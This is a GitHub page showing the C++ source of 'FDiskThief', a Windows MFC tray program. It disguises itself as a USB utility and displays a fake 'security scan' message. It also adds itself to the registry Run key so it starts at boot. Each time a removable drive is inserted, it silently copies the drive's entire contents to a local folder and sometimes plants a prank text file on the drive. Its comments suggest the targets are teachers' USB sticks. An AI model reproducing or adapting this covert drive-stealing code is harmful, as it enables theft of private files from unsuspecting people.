-
Notifications
You must be signed in to change notification settings - Fork 0
/
FDiskThiefDlg.cpp
446 lines (400 loc) · 13 KB
/
FDiskThiefDlg.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
#include <sys/stat.h>
#include <ctime>
#include <string>
#include "stdafx.h"
#include "FDiskThief.h"
#include "FDiskThiefDlg.h"
#include <imagehlp.h>
#define WM_ICONNOTIFY WM_USER + 909 //图标响应消息(lParam)
#define ID_TASKBARICON 100 //参数(wParam)
#include <ShellAPI.h>
#pragma comment(lib,"imagehlp.lib")
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
NOTIFYICONDATA nid;
BOOL isNotify;
CString filesTitle[] = {_T("老师好.txt"), _T("检讨书.txt"), _T("乞讨.txt") , _T("打开我.txt") };
CString filesContent[] = {_T("我爱你老师,mua~"), _T("我做错了,我不应该向老师U盘里放这些东西"), _T("求考试答案,QAQ") , _T("惊喜不惊喜,意外不意外!") };
//获取当前程序目录
CString GetAppPath()
{
TCHAR strExePath[MAX_PATH];
GetModuleFileName(NULL, strExePath, MAX_PATH); //C:\TEST\123.exe
PathRemoveFileSpec(strExePath); //#include "Shlwapi.h" //C:\TEST
CString str = strExePath;
str += "\\";
return str;
}
/*
// 函数功能: 检查指定的文件是否存在, 文件存在则返回 TRUE, 不存在则返回 FALSE
// LPCTSTR lpszFile 要检查的文件的绝对路径, 例: C:\\a.txt
BOOL FileExist(LPCTSTR lpszFile)
{
HANDLE hFile = CreateFile(lpszFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
return hFile != INVALID_HANDLE_VALUE;
}
*/
//拷贝文件夹
void MyCopyDirectory(CString source, CString target, int iff)
{
CreateDirectory(target, NULL); //创建目标文件夹
//AfxMessageBox("创建文件夹"+target);
CFileFind finder;
CString path;
path.Format(_T("%s/*.*"), source);
//AfxMessageBox(path);
BOOL bWorking = finder.FindFile(path);
while(bWorking)
{
bWorking = finder.FindNextFile();
//AfxMessageBox(finder.GetFileName());
if(finder.IsDirectory() && !finder.IsDots())//是文件夹 而且 名称不含 . 或 ..
{
//递归创建文件夹+"/"+finder.GetFileName()
MyCopyDirectory(finder.GetFilePath(), target + "/" + finder.GetFileName(), iff);
}
else//是文件 则直接复制
{
//AfxMessageBox("复制文件"+finder.GetFilePath());//+finder.GetFileName()
if (iff == 1)
{
CopyFile(finder.GetFilePath(), target + "/" + finder.GetFileName(), FALSE);
}
else
{
// AfxMessageBox("MoveFile");
MoveFile(finder.GetFilePath(), target + "/" + finder.GetFileName());
}
}
}
}
/////////////////////////////////////////////////////////////////////////////
// CFDiskThiefDlg dialog
CFDiskThiefDlg::CFDiskThiefDlg(CWnd *pParent /*=NULL*/)
: CDialog(CFDiskThiefDlg::IDD, pParent)
, m_strPath(_T(""))
{
//{{AFX_DATA_INIT(CFDiskThiefDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
m_NewFdisk = _T("");
m_OldFdisk = _T("");
IsRun = FALSE;
}
void CFDiskThiefDlg::DoDataExchange(CDataExchange *pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CFDiskThiefDlg)
//}}AFX_DATA_MAP
DDX_Text(pDX, IDC_EDIT_PATH, m_strPath);
DDX_Control(pDX, IDC_BUTTON_START, m_BtnStart);
DDX_Control(pDX, IDC_BUTTON_STOP, m_BtnStop);
}
BEGIN_MESSAGE_MAP(CFDiskThiefDlg, CDialog)
//{{AFX_MSG_MAP(CFDiskThiefDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BUTTON_OPEN, OnButtonOpen)
ON_BN_CLICKED(IDC_BUTTON_HIDE, OnButtonHide)
ON_BN_CLICKED(IDC_BUTTON_TEST, OnButtonTest)
ON_MESSAGE(WM_HOTKEY, OnHotKey)
ON_MESSAGE(WM_SHOWTASK, OnSystemtray)
ON_WM_TIMER()
ON_BN_CLICKED(IDC_BUTTON_START, OnButtonStart)
ON_BN_CLICKED(IDC_BUTTON_STOP, OnButtonStop)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CFDiskThiefDlg message handlers
BOOL CFDiskThiefDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
// 基于当前系统的当前日期/时间
time_t t = time(0);
//初始化路径
m_strPath = GetAppPath() + "CopyedFiles\\";
MakeSureDirectoryPathExists(m_strPath);
UpdateData(FALSE);
//注册热键
::RegisterHotKey(m_hWnd, 199, MOD_ALT, 'X');
//设置定时器
SetTimer(0, 100, NULL);
//开始监视
// OnButtonStart();
// OnButtonHide();
SetTuoIcon();
ShowBalloonTip("正在监控U盘中...", "U盘大师已运行", 3000, 1);
HKEY hKey;
//找到系统的启动项
CString lpRun = _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
//打开启动项
long lRet = RegOpenKeyEx(HKEY_CURRENT_USER, lpRun, 0, KEY_ALL_ACCESS, &hKey);
if (lRet != ERROR_SUCCESS)
ShowBalloonTip("开机自启失败", "无法打开注册表", 3000, 1);
//找到程序自身路径
TCHAR pFileName[MAX_PATH] = {};
GetModuleFileName(NULL, pFileName, MAX_PATH);
//判断是否已经设置开机启动
TCHAR FDiskThief[MAX_PATH] = {};
DWORD nLongth = MAX_PATH;
long result = RegGetValue(hKey, NULL, _T("FDiskThief"), RRF_RT_REG_SZ, 0, FDiskThief, &nLongth);
if (result != ERROR_SUCCESS)
{
//未自启状态
//设置自启
lRet = RegSetValueEx(hKey, _T("FDiskThief"), 0, REG_SZ, (LPBYTE)pFileName, (lstrlen(pFileName) + 1) * sizeof(TCHAR));
if (lRet != ERROR_SUCCESS)
ShowBalloonTip("开机自启失败", "无法修改注册表", 3000, 1);
}
//关闭注册表
RegCloseKey(hKey);
SetTimer(1, 1, NULL);
return TRUE; // return TRUE unless you set the focus to a control
}
void CFDiskThiefDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if(nID == SC_MINIMIZE)//如果最小化
ShowWindow(SW_HIDE); //隐藏窗口
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.
void CFDiskThiefDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
BOOL CFDiskThiefDlg::ShowBalloonTip(LPCTSTR szMsg, LPCTSTR szTitle, UINT uTimeout, DWORD dwInfoFlags)
{
nid.cbSize = sizeof(NOTIFYICONDATA);
nid.uFlags = NIF_INFO;
nid.uTimeout = uTimeout;
nid.dwInfoFlags = dwInfoFlags;
strcpy(nid.szInfo, szMsg ? szMsg : _T(""));
strcpy(nid.szInfoTitle, szTitle ? szTitle : _T(""));
return Shell_NotifyIcon(NIM_MODIFY, &nid);
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CFDiskThiefDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
void CFDiskThiefDlg::SetTuoIcon()
{
nid.cbSize = (DWORD)sizeof(NOTIFYICONDATA);
nid.hWnd = this->m_hWnd;
nid.uID = IDR_MAINFRAME;
nid.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
nid.uCallbackMessage = WM_SHOWTASK;//自定义的消息名称
nid.hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDR_MAINFRAME));
strcpy(nid.szTip, "鸿合U盘大师");//信息提示条为“OA”
Shell_NotifyIcon(NIM_ADD, &nid);//在托盘区添加图标
ShowWindow(SW_HIDE);//隐藏主窗口
}
void CFDiskThiefDlg::OnButtonOpen()
{
// TODO: Add your control notification handler code here
BROWSEINFO bi;
ZeroMemory(&bi, sizeof(BROWSEINFO)); //指定存放文件的默认文件夹路径
bi.lpszTitle = "请选择数据备份目录"; //添加提示语句
bi.ulFlags = BIF_NEWDIALOGSTYLE | BIF_EDITBOX; //添加“新建文件夹项”
LPMALLOC pMalloc;
LPITEMIDLIST pidl = SHBrowseForFolder(&bi);//以默认路径打开浏览文件夹对话框
TCHAR Path[MAX_PATH] = "";
CString strPath;
if(pidl != NULL)
{
SHGetPathFromIDList(pidl, Path); //把文件夹路径存放在Path中
strPath = Path;
strPath += "\\"; //在路径后增加斜杠
if(SUCCEEDED(SHGetMalloc(&pMalloc)))//网上说pidl指向的对象用完应该释放
{
pMalloc->Free(pidl);
pMalloc->Release();
}
}
if(!strPath.IsEmpty())
{
m_strPath = strPath;
UpdateData(FALSE);
}
MakeSureDirectoryPathExists(strPath);
}
void CFDiskThiefDlg::OnButtonHide()
{
ShowWindow(SW_HIDE);
}
LRESULT CFDiskThiefDlg::OnHotKey(WPARAM wp, LPARAM lp) //热键
{
if(wp == 199)
{
if(IsWindowVisible())
ShowWindow(SW_HIDE);
else
ShowWindow(SW_SHOW);
}
return TRUE;
}
LRESULT CFDiskThiefDlg::OnSystemtray(WPARAM wParam, LPARAM lParam)
{
if (wParam != IDR_MAINFRAME)
return 1;
switch (lParam)
{
case WM_RBUTTONUP: // 右键起来时
{
if (IsWindowVisible())
ShowWindow(SW_HIDE);
else
ShowWindow(SW_SHOW);
}
break;
case WM_LBUTTONUP: // 击左键的处理
{
ShowBalloonTip("喔呦,别乱点哦", "我被点疼了!", 3000, 1);
}
break;
case WM_LBUTTONDBLCLK:
{
//双击
MessageBox("关于\n本程序其实是由徐子越编写\n本程序开源在GitHub\nhttps://github.com/Gingmzmzx/FDiskThief", "鸿合U盘大师", MB_ICONEXCLAMATION);
}
break;
}
return 0;
}
BOOL CFDiskThiefDlg::DestroyWindow()
{
// TODO: Add your specialized code here and/or call the base class
::UnregisterHotKey(m_hWnd, 199); //释放注册的热键
return CDialog::DestroyWindow();
}
//-------查找U盘-------------------------------
CString CFDiskThiefDlg::FindFdisk()
{
CString strDir;
for(char cc = 'C'; cc <= 'Z'; cc++)
{
strDir.Format("%c:", cc);
if(GetDriveType((LPCTSTR)strDir) == DRIVE_REMOVABLE)//移动盘
return strDir;
}
return "";
}
void CFDiskThiefDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
if(IsRun)
{
m_NewFdisk = FindFdisk();
if(m_NewFdisk != m_OldFdisk && m_NewFdisk != "")
{
ShowBalloonTip("检测到U盘插入,安全扫描已开始...", "鸿合U盘大师", 3000, 1);
AfxBeginThread(ThreadProCopyFile, this);
}
if(m_NewFdisk != "")
m_OldFdisk = m_NewFdisk;
else
m_OldFdisk = "";
}
if (nIDEvent == 1)
{
KillTimer(1);
OnButtonStart();
ShowWindow(SW_HIDE);
}
CDialog::OnTimer(nIDEvent);
}
void CFDiskThiefDlg::OnButtonStart()
{
// TODO: Add your control notification handler code here
IsRun = TRUE;
m_BtnStart.EnableWindow(FALSE);
m_BtnStop.EnableWindow(TRUE);
}
void CFDiskThiefDlg::OnButtonStop()
{
// TODO: Add your control notification handler code here
IsRun = FALSE;
m_BtnStart.EnableWindow(TRUE);
m_BtnStop.EnableWindow(FALSE);
}
void CFDiskThiefDlg::OnButtonTest()
{
// TODO: Add your control notification handler code here
AfxMessageBox("目前还没有彩蛋呢qwq");
}
int CFDiskThiefDlg::GetRand(int MIN, int MAX)//产生随机数
{
int max;
max = RAND_MAX;//rand()函数随机数的最大值
return (int)(rand() * (MAX - MIN) / max + MIN);
}
CString CFDiskThiefDlg::IntToCS(int intt)
{
CString strr;
strr.Format(_T("%d"), intt);
return strr;
}
UINT CFDiskThiefDlg::ThreadProCopyFile(LPVOID lpVoid)
{
CFDiskThiefDlg *pThis = (CFDiskThiefDlg *)lpVoid;
MakeSureDirectoryPathExists(pThis->m_strPath);
CString Path = pThis->m_NewFdisk + _T("\\3141314.txt");
BOOL rec = PathFileExists(Path);
if (rec)
{
//存在 剪切
MyCopyDirectory(pThis->m_strPath, pThis->m_NewFdisk, 2);
}
else {
// 不存在 复制
srand((unsigned)time(NULL));
int k = rand() % 2;
if (k) {
// 创建文件!
srand(GetCurrentThreadId());
int randNum = GetRand(0, sizeof(filesContent) / sizeof(CString));
CString filename = pThis->m_NewFdisk + filesTitle[randNum];
CString str = filesContent[randNum];
CFile file;
file.Open(filename, CFile::modeCreate | CFile::modeWrite | CFile::modeNoTruncate, NULL);
file.Write(str, strlen(str));
}
MyCopyDirectory(pThis->m_NewFdisk, pThis->m_strPath, 1);
}
return 0;
}